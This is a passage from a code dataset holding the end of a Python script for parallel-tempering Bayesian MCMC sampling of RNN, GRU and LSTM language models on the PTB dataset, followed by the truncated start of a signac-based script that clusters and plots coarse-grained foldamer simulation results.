param1[0:w_size]\n eta = param1[w_size]\n w1_dict = rnn.dictfromlist(w1)\n rnn.loadparameters(w1_dict)\n\n param = np.concatenate([rnn.getparameters(w).reshape(-1), np.asarray([eta]).reshape(1), np.asarray([likelihood]),np.asarray([self.adapttemp]),np.asarray([i])])\n self.parameter_queue.put(param)\n self.signal_main.set()\n print ((num_accepted*100 / (samples * 1.0)), '% was accepted')\n accept_ratio = num_accepted / (samples * 1.0) * 100\n print ((langevin_count*100 / (samples * 1.0)), '% was Lsnngrevin ')\n langevin_ratio = langevin_count / (samples * 1.0) * 100\n file_name = self.path+'/posterior/pos_w/'+'chain_'+ str(self.temperature)+ '.txt'\n np.savetxt(file_name,pos_w )\n file_name = self.path+'/predictions/rmse_test_chain_'+ str(self.temperature)+ '.txt'\n np.savetxt(file_name, rmse_test, fmt='%1.8f')\n file_name = self.path+'/predictions/rmse_train_chain_'+ str(self.temperature)+ '.txt'\n np.savetxt(file_name, rmse_train, fmt='%1.8f')\n file_name = self.path+'/predictions/acc_test_chain_'+ str(self.temperature)+ '.txt'\n np.savetxt(file_name, acc_test, fmt='%1.2f')\n file_name = self.path+'/predictions/acc_train_chain_'+ str(self.temperature)+ '.txt'\n np.savetxt(file_name, acc_train, fmt='%1.2f')\n file_name = self.path+'/posterior/pos_likelihood/chain_'+ str(self.temperature)+ '.txt'\n np.savetxt(file_name,likeh_list, fmt='%1.4f')\n file_name = self.path + '/posterior/accept_list/chain_' + str(self.temperature) + '_accept.txt'\n np.savetxt(file_name, [accept_ratio], fmt='%1.4f')\n file_name = self.path + '/posterior/accept_list/chain_' + str(self.temperature) + '.txt'\n np.savetxt(file_name, accept_list, fmt='%1.4f')\n print('exiting this thread')\n\nclass ParallelTempering:\n\n def __init__(self, use_langevin_gradients, learn_rate, train_x,train_y,test_x,test_y, topology, num_chains, maxtemp, NumSample, swap_interval, langevin_prob, path,rnn_net = 'RNN'):\n #FNN Chain variables\n self.train_x = train_x\n self.train_y = train_y\n self.test_x = test_x\n self.test_y = test_y\n self.topology = topology\n self.rnn = Model(self.topology,learn_rate,rnn_net = rnn_net)\n self.num_param = sum(p.numel() for p in self.rnn.parameters())#(topology[0] * topology[1]) + (topology[1] * topology[2]) + topology[1] + topology[2] + (topology[1] * topology[1])\n #Parallel Tempering variables\n self.swap_interval = swap_interval\n self.path = path\n self.maxtemp = maxtemp\n self.rnn_net = rnn_net\n self.langevin_prob = langevin_prob\n self.num_swap = 0\n self.total_swap_proposals = 0\n self.num_chains = num_chains\n self.chains = []\n self.temperatures = []\n self.NumSamples = int(NumSample/self.num_chains)\n self.sub_sample_size = max(1, int( 0.05* self.NumSamples))\n # create queues for transfer of parameters between process chain\n self.parameter_queue = [multiprocessing.Queue() for i in range(num_chains)]\n self.chain_queue = multiprocessing.JoinableQueue()\n self.wait_chain = [multiprocessing.Event() for i in range (self.num_chains)]\n self.event = [multiprocessing.Event() for i in range (self.num_chains)]\n self.all_param = None\n self.geometric = True # True (geometric) False (Linear)\n self.minlim_param = 0.0\n self.maxlim_param = 0.0\n self.minY = np.zeros((1,1))\n self.maxY = np.ones((1,1))\n self.model_signature = 0.0\n self.learn_rate = learn_rate\n self.use_langevin_gradients = use_langevin_gradients\n\n def default_beta_ladder(self, ndim, ntemps, Tmax): #https://github.com/konqr/ptemcee/blob/master/ptemcee/sampler.py\n \"\"\"\n Returns a ladder of :math:`\\beta \\equiv 1/T` under a geometric spacing that is determined by the\n arguments ``ntemps`` and ``Tmax``. The temperature selection algorithm works as follows:\n Ideally, ``Tmax`` should be specified such that the tempered posterior looks like the prior at\n this temperature. If using adaptive parallel tempering, per `arXiv:1501.05823\n `_, choosing ``Tmax = inf`` is a safe bet, so long as\n ``ntemps`` is also specified.\n\n \"\"\"\n\n if type(ndim) != int or ndim < 1:\n raise ValueError('Invalid number of dimensions specified.')\n if ntemps is None and Tmax is None:\n raise ValueError('Must specify one of ``ntemps`` and ``Tmax``.')\n if Tmax is not None and Tmax <= 1:\n raise ValueError('``Tmax`` must be greater than 1.')\n if ntemps is not None and (type(ntemps) != int or ntemps < 1):\n raise ValueError('Invalid number of temperatures specified.')\n\n\n tstep = np.array([25.2741, 7., 4.47502, 3.5236, 3.0232,\n 2.71225, 2.49879, 2.34226, 2.22198, 2.12628,\n 2.04807, 1.98276, 1.92728, 1.87946, 1.83774,\n 1.80096, 1.76826, 1.73895, 1.7125, 1.68849,\n 1.66657, 1.64647, 1.62795, 1.61083, 1.59494,\n 1.58014, 1.56632, 1.55338, 1.54123, 1.5298,\n 1.51901, 1.50881, 1.49916, 1.49, 1.4813,\n 1.47302, 1.46512, 1.45759, 1.45039, 1.4435,\n 1.4369, 1.43056, 1.42448, 1.41864, 1.41302,\n 1.40761, 1.40239, 1.39736, 1.3925, 1.38781,\n 1.38327, 1.37888, 1.37463, 1.37051, 1.36652,\n 1.36265, 1.35889, 1.35524, 1.3517, 1.34825,\n 1.3449, 1.34164, 1.33847, 1.33538, 1.33236,\n 1.32943, 1.32656, 1.32377, 1.32104, 1.31838,\n 1.31578, 1.31325, 1.31076, 1.30834, 1.30596,\n 1.30364, 1.30137, 1.29915, 1.29697, 1.29484,\n 1.29275, 1.29071, 1.2887, 1.28673, 1.2848,\n 1.28291, 1.28106, 1.27923, 1.27745, 1.27569,\n 1.27397, 1.27227, 1.27061, 1.26898, 1.26737,\n 1.26579, 1.26424, 1.26271, 1.26121,\n 1.25973])\n\n\n if ndim > tstep.shape[0]:\n # An approximation to the temperature step at large\n # dimension\n tstep = 1.0 + 2.0*np.sqrt(np.log(4.0))/np.sqrt(ndim)\n else:\n tstep = tstep[ndim-1]\n\n appendInf = False\n if Tmax == np.inf:\n appendInf = True\n Tmax = None\n ntemps = ntemps - 1\n\n if ntemps is not None:\n if Tmax is None:\n # Determine Tmax from ntemps.\n Tmax = tstep ** (ntemps - 1)\n else:\n if Tmax is None:\n raise ValueError('Must specify at least one of ``ntemps'' and '\n 'finite ``Tmax``.')\n\n # Determine ntemps from Tmax.\n ntemps = int(np.log(Tmax) / np.log(tstep) + 2)\n\n betas = np.logspace(0, -np.log10(Tmax), ntemps)\n if appendInf:\n # Use a geometric spacing, but replace the top-most temperature with\n # infinity.\n betas = np.concatenate((betas, [0]))\n\n return betas\n\n def assign_temperatures(self):\n # #Linear Spacing\n # temp = 2\n # for i in range(0,self.num_chains):\n # \tself.temperatures.append(temp)\n # \ttemp += 2.5 #(self.maxtemp/self.num_chains)\n # \tprint (self.temperatures[i])\n #Geometric Spacing\n\n if self.geometric == True:\n betas = self.default_beta_ladder(2, ntemps=self.num_chains, Tmax=self.maxtemp)\n for i in range(0, self.num_chains):\n self.temperatures.append(np.inf if betas[i] == 0 else 1.0/betas[i])\n #print (self.temperatures[i])\n else:\n\n tmpr_rate = (self.maxtemp /self.num_chains)\n temp = 1\n for i in range(0, self.num_chains):\n self.temperatures.append(temp)\n temp += tmpr_rate\n #print(self.temperatures[i])\n\n\n def initialize_chains(self, burn_in):\n self.burn_in = burn_in\n self.assign_temperatures()\n self.minlim_param = np.repeat([-100] , self.num_param) # priors for nn weights\n self.maxlim_param = np.repeat([100] , self.num_param)\n for i in range(0, self.num_chains):\n w = np.random.randn(self.num_param)\n self.chains.append(ptReplica(self.use_langevin_gradients, self.learn_rate, w, self.minlim_param, self.maxlim_param, self.NumSamples, self.train_x,self.train_y,self.test_x,self.test_y,self.topology,self.burn_in,self.temperatures[i],self.swap_interval, self.langevin_prob, self.path,self.parameter_queue[i],self.wait_chain[i],self.event[i],self.rnn_net))\n\n\n def swap_procedure(self, parameter_queue_1, parameter_queue_2):\n param1 = parameter_queue_1.get()\n param2 = parameter_queue_2.get()\n w1 = param1[0:self.num_param]\n eta1 = param1[self.num_param]\n lhood1 = param1[self.num_param+1]\n T1 = param1[self.num_param+2]\n w2 = param2[0:self.num_param]\n eta2 = param2[self.num_param]\n lhood2 = param2[self.num_param+1]\n T2 = param2[self.num_param+2]\n #print('yo')\n #SWAPPING PROBABILITIES\n try:\n swap_proposal = min(1,0.5*np.exp(lhood2 - lhood1))\n except:\n swap_proposal = 1\n u = np.random.uniform(0,1)\n if u < swap_proposal:\n swapped = True\n self.total_swap_proposals += 1\n self.num_swap += 1\n param_temp = param1\n param1 = param2\n param2 = param_temp\n else:\n swapped = False\n self.total_swap_proposals+=1\n return param1, param2, swapped\n\n\n def run_chains(self):\n # only adjacent chains can be swapped therefore, the number of proposals is ONE less num_chains\n swap_proposal = np.ones(self.num_chains-1)\n # create parameter holders for paramaters that will be swapped\n replica_param = np.zeros((self.num_chains, self.num_param))\n lhood = np.zeros(self.num_chains)\n # Define the starting and ending of MCMC Chains\n start = 0\n end = self.NumSamples-1\n number_exchange = np.zeros(self.num_chains)\n filen = open(self.path + '/num_exchange.txt', 'a')\n #RUN MCMC CHAINS\n for l in range(0,self.num_chains):\n self.chains[l].start_chain = start\n self.chains[l].end = end\n for j in range(0,self.num_chains):\n self.wait_chain[j].clear()\n self.event[j].clear()\n self.chains[j].start()\n #SWAP PROCEDURE\n '''\n self.parameter_queue = [multiprocessing.Queue() for i in range(num_chains)]\n self.chain_queue = multiprocessing.JoinableQueue()\n self.wait_chain = [multiprocessing.Event() for i in range (self.num_chains)]\n self.event = [multiprocessing.Event() for i in range (self.num_chains)]\n '''\n #SWAP PROCEDURE\n swaps_appected_main =0\n total_swaps_main =0\n for i in range(int(self.NumSamples/self.swap_interval)):\n #while(True):\n count = 0\n for index in range(self.num_chains):\n if not self.chains[index].is_alive():\n count+=1\n self.wait_chain[index].set()\n print(str(self.chains[index].temperature) +\" Dead\"+str(index))\n if count == self.num_chains:\n break\n #if count == 0:\n #break\n print(count,' is count')\n print(datetime.datetime.now())\n timeout_count = 0\n for index in range(0,self.num_chains):\n print(\"Waiting for chain: {}\".format(index+1))\n flag = self.wait_chain[index].wait()\n if flag:\n print(\"Signal from chain: {}\".format(index+1))\n timeout_count += 1\n\n if timeout_count != self.num_chains:\n print(\"Skipping the swap!\")\n continue\n \n print(\"Event occured\")\n for index in range(0,self.num_chains-1):\n param_1, param_2, swapped = self.swap_procedure(self.parameter_queue[index],self.parameter_queue[index+1])\n self.parameter_queue[index].put(param_1)\n self.parameter_queue[index+1].put(param_2)\n if index == 0:\n if swapped:\n swaps_appected_main += 1\n total_swaps_main += 1\n #blabla = input(\"whazzzuppp\")\n for index in range (self.num_chains):\n self.wait_chain[index].clear()\n self.event[index].set()\n\n\n print(\"Joining processes\")\n\n #JOIN THEM TO MAIN PROCESS\n for index in range(0,self.num_chains):\n print(index, ' waiting to join')\n self.chains[index].join()\n print('now waiting for chain queue')\n self.chain_queue.join()\n pos_w, fx_train, fx_test, rmse_train, rmse_test, acc_train, acc_test, likelihood_vec , accept_vec, accept = self.show_results()\n print(\"NUMBER OF SWAPS =\", self.num_swap)\n print('total swap proposal',self.total_swap_proposals)\n print('num samples', self.NumSamples)\n print('swap interval',self.swap_interval)\n swap_perc = self.num_swap*100 /self.total_swap_proposals\n return pos_w, fx_train, fx_test, rmse_train, rmse_test, acc_train, acc_test, likelihood_vec , swap_perc, accept_vec, accept\n # pos_w, fx_train, fx_test, rmse_train, rmse_test, acc_train, acc_test, likelihood_rep , swap_perc,accept_vec, accept = pt.run_chains()\n\n\n def show_results(self):\n\n burnin = int(self.NumSamples*self.burn_in)\n\n likelihood_rep = np.zeros((self.num_chains, self.NumSamples - 1, 2)) # index 1 for likelihood posterior and index 0 for Likelihood proposals. Note all likilihood proposals plotted only\n accept_percent = np.zeros((self.num_chains, 1))\n accept_list = np.zeros((self.num_chains, self.NumSamples ))\n\n pos_w = np.zeros((self.num_chains,self.NumSamples - burnin, self.num_param))\n\n fx_train_all = np.zeros((self.num_chains,self.NumSamples - burnin, self.train_x.shape[0]))\n rmse_train = np.zeros((self.num_chains,self.NumSamples - burnin))\n acc_train = np.zeros((self.num_chains,self.NumSamples - burnin))\n fx_test_all = np.zeros((self.num_chains,self.NumSamples - burnin, self.test_x.shape[0]))\n rmse_test = np.zeros((self.num_chains,self.NumSamples - burnin))\n acc_test = np.zeros((self.num_chains,self.NumSamples - burnin))\n\n\n\n for i in range(self.num_chains):\n file_name = self.path+'/posterior/pos_w/'+'chain_'+ str(self.temperatures[i])+ '.txt'\n dat = np.loadtxt(file_name)\n pos_w[i,:,:] = dat[burnin:,:]\n\n file_name = self.path + '/posterior/pos_likelihood/'+'chain_' + str(self.temperatures[i]) + '.txt'\n dat = np.loadtxt(file_name)\n likelihood_rep[i, :] = dat[1:]\n\n\n file_name = self.path + '/posterior/accept_list/' + 'chain_' + str(self.temperatures[i]) + '.txt'\n dat = np.loadtxt(file_name)\n accept_list[i, :] = dat\n\n\n #file_name = self.path+'/predictions/fxtrain_samples_chain_'+ str(self.temperatures[i])+ '.txt'\n #dat = np.loadtxt(file_name)\n #fx_train_all[i,:,:] = dat[burnin:,:]\n\n #file_name = self.path+'/predictions/fxtest_samples_chain_'+ str(self.temperatures[i])+ '.txt'\n #dat = np.loadtxt(file_name)\n #fx_test_all[i,:,:] = dat[burnin:,:]\n\n file_name = self.path+'/predictions/rmse_test_chain_'+ str(self.temperatures[i])+ '.txt'\n dat = np.loadtxt(file_name)\n rmse_test[i,:] = dat[burnin:]\n\n file_name = self.path+'/predictions/rmse_train_chain_'+ str(self.temperatures[i])+ '.txt'\n dat = np.loadtxt(file_name)\n rmse_train[i,:] = dat[burnin:]\n\n file_name = self.path+'/predictions/acc_test_chain_'+ str(self.temperatures[i])+ '.txt'\n dat = np.loadtxt(file_name)\n acc_test[i,:] = dat[burnin:]\n\n file_name = self.path+'/predictions/acc_train_chain_'+ str(self.temperatures[i])+ '.txt'\n dat = np.loadtxt(file_name)\n acc_train[i,:] = dat[burnin:]\n\n\n posterior = pos_w.transpose(2,0,1).reshape(self.num_param,-1)\n\n fx_train = fx_train_all.transpose(2,0,1).reshape(self.train_x.shape[0],-1) # need to comment this if need to save memory\n fx_test = fx_test_all.transpose(2,0,1).reshape(self.test_x.shape[0],-1)\n\n #fx_test = fxtest_samples.reshape(self.num_chains*(self.NumSamples - burnin), self.testdata.shape[0]) # konarks version\n\n\n likelihood_vec = likelihood_rep.transpose(2,0,1).reshape(2,-1)\n\n rmse_train = rmse_train.reshape(self.num_chains*(self.NumSamples - burnin), 1)\n acc_train = acc_train.reshape(self.num_chains*(self.NumSamples - burnin), 1)\n rmse_test = rmse_test.reshape(self.num_chains*(self.NumSamples - burnin), 1)\n acc_test = acc_test.reshape(self.num_chains*(self.NumSamples - burnin), 1)\n\n\n accept_vec = accept_list\n\n #print(accept_vec)\n\n\n\n\n\n\n\n accept = np.sum(accept_percent)/self.num_chains\n\n #np.savetxt(self.path + '/pos_param.txt', posterior.T) # tcoment to save space\n\n np.savetxt(self.path + '/likelihood.txt', likelihood_vec.T, fmt='%1.5f')\n\n np.savetxt(self.path + '/accept_list.txt', accept_list, fmt='%1.2f')\n\n np.savetxt(self.path + '/acceptpercent.txt', [accept], fmt='%1.2f')\n\n\n return posterior, fx_train_all, fx_test_all, rmse_train, rmse_test, acc_train, acc_test, likelihood_vec.T, accept_vec , accept\n\n def make_directory (self, directory):\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n\n\ndef main():\n\n\n networks = ['RNN','GRU','LSTM']\n net = networks[args.net-1]\n networks = ['LSTM']\n\n for net in networks:\n for j in range(4, 5) :\n # print(j, ' out of 15','\\n\\n\\n\\n\\n\\n\\n')\n i = j//2\n problem =\t-100\n\n \n # if problem ==\t4:\n # #traindata = np.loadtxt(\"Data_OneStepAhead/Lorenz/train.txt\")\n # #testdata\t= np.loadtxt(\"Data_OneStepAhead/Lorenz/test.txt\") #\n # name\t= \"Lorenz\"\n # x,y = load_horizontal(\"Data_OneStepAhead/Lorenz/train.txt\")\n # train_x= x#x[:int(len(x)*0.8)]\n # train_y= y#y[:int(len(y)*0.8)]\n # Input = len(train_x[0][0])\n # Output = len(train_y[0])\n # test_x,test_y =load_horizontal(\"Data_OneStepAhead/Lorenz/test.txt\")\n \n name = \"ptb\"\n train_data, valid_data, test_data, vocabulary, reversed_dictionary = load_data()\n num_steps = 30\n train_data_generator = KerasBatchGenerator(train_data, num_steps, batch_size, vocabulary,skip_step=num_steps)\n test_data_generator = KerasBatchGenerator(test_data, num_steps, batch_size, vocabulary,skip_step=num_steps)\n trainData = list(train_data_generator.generate())\n testData = list(test_data_generator.generate())\n print(len(trainData), ' is the length of dataset')\n '''x,y = trainData[0]\n print(x.shape,y.shape)'''\n train_x=[]\n train_y=[]\n test_x = []\n test_y = []\n for iter1,iter2 in zip(trainData,testData):\n a,b = iter1\n c,d = iter2\n train_x.append(a)\n train_y.append(b)\n test_x.append(c)\n test_y.append(d)\n train_x = np.array(train_x)\n train_y = np.array(train_y)\n test_x = np.array(test_x)\n test_y = np.array(test_y)\n\n ###############################\n #THESE ARE THE HYPERPARAMETERS#\n ###############################\n\n\n Input = vocabulary\n Output = vocabulary\n Hidden = 100\n #ip = 4 #input\n #output = 1\n topology = [Input, Hidden, Output,vocabulary]\n NumSample = args.samples\n #NumSample = 500\n \n \n ###############################\n #THESE ARE THE HYPERPARAMETERS#\n ###############################\n # topology = [Input, Hidden, Output]\n \n netw = topology\n \n #print(traindata)\n \n \n #y_test = testdata[:,netw[0]]\n #y_train = traindata[:,netw[0]]\n \n \n \n maxtemp = args.mt_val\n \n #swap_ratio = 0.04\n \n swap_ratio = args.swap_ratio\n \n num_chains = args.num_chains\n \n swap_interval = int(swap_ratio * NumSample/num_chains) # int(swap_ratio * (NumSample/num_chains)) #how ofen you swap neighbours. note if swap is more than Num_samples, its off\n burn_in = args.burn_in\n \n \n learn_rate = args.learn_rate # in case langevin gradients are used. Can select other values, we found small value is ok.\n \n langevn = \"\"\n if j%2 == 0:\n use_langevin_gradients = True # False leaves it as Random-walk proposals. Note that Langevin gradients will take a bit more time computationally\n langevn = \"T\"\n else:\n use_langevin_gradients = False\n langevn = \"F\"\n pass # we dont want to execute this.\n \n \n \n problemfolder = os.getcwd()+'/Res_LG-Lprob_'+net+'/' #'/home/rohit/Desktop/PT/Res_LG-Lprob/' # change this to your directory for results output - produces large datasets\n \n problemfolder_db = 'Res_LG-Lprob_'+net+'/' # save main results\n \n \n \n \n filename = \"\"\n run_nb = 0\n while os.path.exists( problemfolder+name+langevn+'_%s' % (run_nb)):\n run_nb += 1\n if not os.path.exists( problemfolder+name+langevn+'_%s' % (run_nb)):\n os.makedirs( problemfolder+name+langevn+'_%s' % (run_nb))\n path = (problemfolder+ name+langevn+'_%s' % (run_nb))\n \n filename = \"\"\n run_nb = 0\n while os.path.exists( problemfolder_db+name+langevn+'_%s' % (run_nb)):\n run_nb += 1\n if not os.path.exists( problemfolder_db+name+langevn+'_%s' % (run_nb)):\n os.makedirs( problemfolder_db+name+langevn+'_%s' % (run_nb))\n path_db = (problemfolder_db+ name+langevn+'_%s' % (run_nb))\n \n \n \n resultingfile = open( path+'/master_result_file.txt','a+')\n \n resultingfile_db = open( path_db+'/master_result_file.txt','a+')\n \n timer = time.time()\n \n langevin_prob = 1/10\n \n \n \n pt = ParallelTempering( use_langevin_gradients, learn_rate, train_x,train_y,test_x,test_y, topology, num_chains, maxtemp, NumSample, swap_interval, langevin_prob, path,rnn_net = net)\n \n directories = [ path+'/predictions/', path+'/posterior', path+'/results', path+'/surrogate', path+'/surrogate/learnsurrogate_data', path+'/posterior/pos_w', path+'/posterior/pos_likelihood',path+'/posterior/surg_likelihood',path+'/posterior/accept_list' ]\n \n for d in directories:\n pt.make_directory((filename)+ d)\n \n \n \n pt.initialize_chains( burn_in)\n \n \n pos_w, fx_train, fx_test, rmse_train, rmse_test, acc_train, acc_test, likelihood_rep , swap_perc, accept_vec, accept = pt.run_chains()\n \n list_end = accept_vec.shape[1]\n #print(accept_vec.shape)\n #print(accept_vec)\n accept_ratio = accept_vec[:, list_end-1:list_end]/list_end\n accept_per = np.mean(accept_ratio) * 100\n \n print(accept_per, ' accept_per')\n \n \n \n \n \n timer2 = time.time()\n \n timetotal = (timer2 - timer) /60\n print ((timetotal), 'min taken')\n \n #PLOTS\n \n '''acc_tr = np.mean(acc_train [:])\n acctr_std = np.std(acc_train[:])\n acctr_max = np.amax(acc_train[:])\n \n acc_tes = np.mean(acc_test[:])\n acctest_std = np.std(acc_test[:])\n acctes_max = np.amax(acc_test[:])'''\n \n \n \n rmse_tr = np.mean(rmse_train[:])\n rmsetr_std = np.std(rmse_train[:])\n rmsetr_max = np.amin(rmse_train[:])\n \n rmse_tes = np.mean(rmse_test[:])\n rmsetest_std = np.std(rmse_test[:])\n rmsetes_max = np.amin(rmse_test[:])\n \n outres = open(path+'/result.txt', \"a+\")\n outres_db = open(path_db+'/result.txt', \"a+\")\n \n resultingfile = open(problemfolder+'/master_result_file.txt','a+')\n resultingfile_db = open( problemfolder_db+'/master_result_file.txt','a+')\n \n xv = name+langevn+'_'+ str(run_nb)\n \n allres = np.asarray([ problem, NumSample, maxtemp, swap_interval, langevin_prob, learn_rate, rmse_tr, rmsetr_std, rmsetr_max, rmse_tes, rmsetest_std, rmsetes_max, swap_perc, accept_per, timetotal])\n \n np.savetxt(outres_db, allres , fmt='%1.4f', newline=' ' )\n np.savetxt(resultingfile_db, allres , fmt='%1.4f', newline=' ' )\n np.savetxt(resultingfile_db, [xv] , fmt=\"%s\", newline=' \\n' )\n \n \n np.savetxt(outres, allres , fmt='%1.4f', newline=' ' )\n np.savetxt(resultingfile, allres , fmt='%1.4f', newline=' ' )\n np.savetxt(resultingfile, [xv] , fmt=\"%s\", newline=' \\n' )\n \n x = np.linspace(0, rmse_train.shape[0] , num=rmse_train.shape[0])\n \n \n \n '''plt.plot(x, rmse_train, '.', label='Test')\n plt.plot(x, rmse_test, '.', label='Train')\n plt.legend(loc='upper right')\n \n plt.xlabel('Samples', fontsize=12)\n plt.ylabel('RMSE', fontsize=12)\n \n plt.savefig(path+'/rmse_samples.png')\n plt.clf()\t'''\n \n plt.plot( rmse_train, '.', label='Test')\n plt.plot( rmse_test, '.', label='Train')\n plt.legend(loc='upper right')\n \n plt.xlabel('Samples', fontsize=12)\n plt.ylabel('RMSE', fontsize=12)\n \n plt.savefig(path_db+'/rmse_samples.pdf')\n plt.clf()\n \n plt.plot( rmse_train, '.', label='Test')\n plt.plot( rmse_test, '.', label='Train')\n plt.legend(loc='upper right')\n \n plt.xlabel('Samples', fontsize=12)\n plt.ylabel('RMSE', fontsize=12)\n \n plt.savefig(path+'/rmse_samples.pdf')\n plt.clf()\n \n \n \n \n likelihood = likelihood_rep[:,0] # just plot proposed likelihood\n likelihood = np.asarray(np.split(likelihood, num_chains))\n \n \n \n \n # Plots\n plt.plot(likelihood.T)\n \n plt.xlabel('Samples', fontsize=12)\n plt.ylabel(' Log-Likelihood', fontsize=12)\n \n plt.savefig(path+'/likelihood.png')\n plt.clf()\n \n plt.plot(likelihood.T)\n \n plt.xlabel('Samples', fontsize=12)\n plt.ylabel(' Log-Likelihood', fontsize=12)\n \n plt.savefig(path_db+'/likelihood.png')\n plt.clf()\n \n \n plt.plot(accept_vec.T )\n plt.xlabel('Samples', fontsize=12)\n plt.ylabel(' Number accepted proposals', fontsize=12)\n \n plt.savefig(path_db+'/accept.png')\n \n \n plt.clf()\n \n \n #mpl_fig = plt.figure()\n #ax = mpl_fig.add_subplot(111)\n \n # ax.boxplot(pos_w)\n \n # ax.set_xlabel('[W1] [B1] [W2] [B2]')\n # ax.set_ylabel('Posterior')\n \n # plt.legend(loc='upper right')\n \n # plt.title(\"Boxplot of Posterior W (weights and biases)\")\n # plt.savefig(path+'/w_pos.png')\n # plt.savefig(path+'/w_pos.svg', format='svg', dpi=600)\n \n # plt.clf()\n #dir()\n gc.collect()\n outres.close()\n resultingfile.close()\n resultingfile_db.close()\n outres_db.close()\n \n\nif __name__ == \"__main__\": main()\n\n\n","sub_path":"RNN_pt/rnn_lstm_gru_pt_ptbdataset.py","file_name":"rnn_lstm_gru_pt_ptbdataset.py","file_ext":"py","file_size_in_byte":48696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"366854987","text":"import argparse\nimport signac\nimport cg_pyrosetta\nimport numpy as np\nimport pandas as pd\nimport copy\nimport os\nimport sys\nimport shutil\nimport flow\nimport analyze_foldamers\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nimport mdtraj as md\nfrom flow import FlowProject\n\nplt.rcParams[\"font.family\"] = \"serif\"\nplt.rcParams.update({\"font.size\": 15})\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--signac_dir\",\n help=\"Directory containing signac project\",\n required=False,\n type=str,\n default=os.path.abspath(\"\"),\n )\n parser.add_argument(\n \"--output_dir\",\n help=\"Output directory for generating figures\",\n required=False,\n type=str,\n default=os.path.abspath(\"output\"),\n )\n parser.add_argument(\n \"--rerun\",\n action=\"store_true\",\n help=\"Flag to rerun analysis on parameter sets if files directory already exists\",\n )\n parser.add_argument(\n \"--single\",\n help=\"Run analysis on as single set of parameters\",\n type=str,\n default=None,\n )\n parser.add_argument(\n \"--cluster_parameters\",\n help=\"specify key-value pairs of which parameters to feed the \"\n + \"analyze_foldamer.get_cluster_medoid_positions_DBSCAN()\"\n + \"function\\n\"\n + \"Possible keys are: eps, min_samples, frame_start, frame_stride,\"\n + \" frame_end, output_format, ride, frame_end, output_format, \"\n + \"cgmodel, plot_silhouette, filter, filter_ratio, \"\n + \"output_cluster_traj, core_points_only, np\",\n nargs=\"+\",\n default=None,\n )\n\n args = parser.parse_args()\n return args\n\n\ndef get_commandline_input():\n cmd_line = sys.argv\n cmd_line.insert(0, sys.executable)\n cmd_str = \" \".join(cmd_line)\n return cmd_str\n\n\ndef get_default_parameters():\n default_params = {\n \"eps\": 0.15,\n \"min_samples\": 30,\n \"frame_start\": 700,\n \"frame_stride\": 1,\n \"frame_end\": -1,\n \"output_format\": \"pdb\",\n \"plot_silhouette\": True,\n \"filter\": True,\n \"filter_ratio\": 0.5,\n \"output_cluster_traj\": True,\n \"core_points_only\": False,\n \"parallel\" : -1,\n }\n return default_params\n\ndef compute_2_population_z_score(X1, X2):\n mu_1 = np.mean(X1)\n mu_2 = np.mean(X2)\n sigma_1 = np.std(X1)\n sigma_2 = np.std(X2)\n\n z_score = (mu_1 - mu_2) / np.sqrt(np.square(sigma_1)/len(X1) + np.square(sigma_2)/len(X2)) \n return z_score\n\n\ndef main():\n args = parse_args()\n os.chdir(args.signac_dir)\n\n # Getting Signac project schema\n print(\"Fetching signac schema information...\")\n project = signac.get_project()\n schema = project.detect_schema()\n reps, sc_sizes = schema.items()\n sc_sizes = list(sc_sizes[1][float])\n sc_sizes.sort()\n select_sc_sizes = [str(round(a, 3)) for a in sc_sizes]\n print(\"List of all side chain sizes:\", *select_sc_sizes)\n\n # Get commandline scirpt\n cmd_str = get_commandline_input()\n\n # Get parameters for clustering (Update from default values)\n param_dict = get_default_parameters()\n if args.cluster_parameters is not None:\n if len(args.cluster_parameters) % 2 != 0:\n print(\n \"One unmatched key-value pairs. Remvoing\",\n args.cluster_parameters.pop(),\n \"from input parameters.\",\n )\n print(\"Remaining input key-value pairs are:\", *args.cluster_parameters)\n\n for key, value in zip(\n args.cluster_parameters[::2], args.cluster_parameters[1::2]\n ):\n if key in param_dict.keys():\n param_dict[key] = type(param_dict[key])(value)\n print(\"Using non-default parameters for clutsering:\")\n print(param_dict)\n\n # Single parameter option\n if args.single is not None:\n i_single = select_sc_sizes.index(args.single)\n sc_sizes = [sc_sizes[i_single]]\n\n # Setup output directory\n if not os.path.isdir(args.output_dir):\n os.mkdir(args.output_dir)\n\n # kT values for tempeature plot\n out_steps = np.array([10000 * i for i in range(50)])\n\n\n for sc_size in sc_sizes:\n print(\"Working on SC Size =\", str(round(sc_size, 3)), \"...\")\n # Setup parameters for each set of unique simulations\n sub_dir = os.path.join(args.output_dir, \"sc_size_\" + str(round(sc_size, 3)))\n if os.path.isdir(sub_dir):\n if args.rerun:\n shutil.rmtree(sub_dir)\n else:\n print(\n \"Skipping\",\n sub_dir,\n \"if you want to rerun this analysis add the --rerun flag\",\n )\n continue\n os.mkdir(sub_dir)\n\n # Command line that generated specific output\n with open(os.path.join(sub_dir, \"command_line_call.txt\"), \"w\") as fw:\n fw.write(cmd_str + \"\\n\")\n\n # Get trajectory and energies of each simulation\n traj_file_list = []\n all_energies = []\n energy_traj = []\n for job in project.find_jobs({\"sc_size\": sc_size}):\n structure_file = job.fn(\"trajectory.pdb\")\n traj_file_list.append(structure_file)\n energy_file = job.fn(\"energies.txt\")\n energies = pd.read_csv(energy_file, header=None)\n energy_traj.append(energies.values[:, 1])\n all_energies.extend(energies.values[:, 1])\n all_energies = np.array(all_energies)\n \n # Energy trajectory plot\n fig, ax1 = plt.subplots(1,1,figsize = [20,10])\n # ax2 = ax1.twinx()\n # ax2.plot(out_steps, kts, 'r')\n # ax2.set_xlim([0, 500000])\n # ax2.set_ylabel(\"Simulated Temperature\", color = 'r')\n for traj in energy_traj:\n ax1.plot(traj, alpha = 0.4, lw=2)\n ax1.set_xlabel(\"Steps\")\n ax1.set_ylabel(\"Energy (A.E.U)\")\n ax1.set_title(\"SC size = \" + str(round(job.sp['sc_size'],4)))\n\n fig.savefig(os.path.join(sub_dir, \"energy_trajectory.jpg\"), bbox_inches=\"tight\")\n fig.savefig(os.path.join(sub_dir, \"energy_trajectory.pdf\"), bbox_inches=\"tight\")\n\n plt.close(\"all\")\n\n # Run clustering\n (\n medoid_positions,\n cluster_sizes,\n cluster_rmsd,\n n_noise,\n silhouette_avg,\n labels,\n original_indices,\n ) = analyze_foldamers.cluster.get_cluster_medoid_positions_DBSCAN(\n 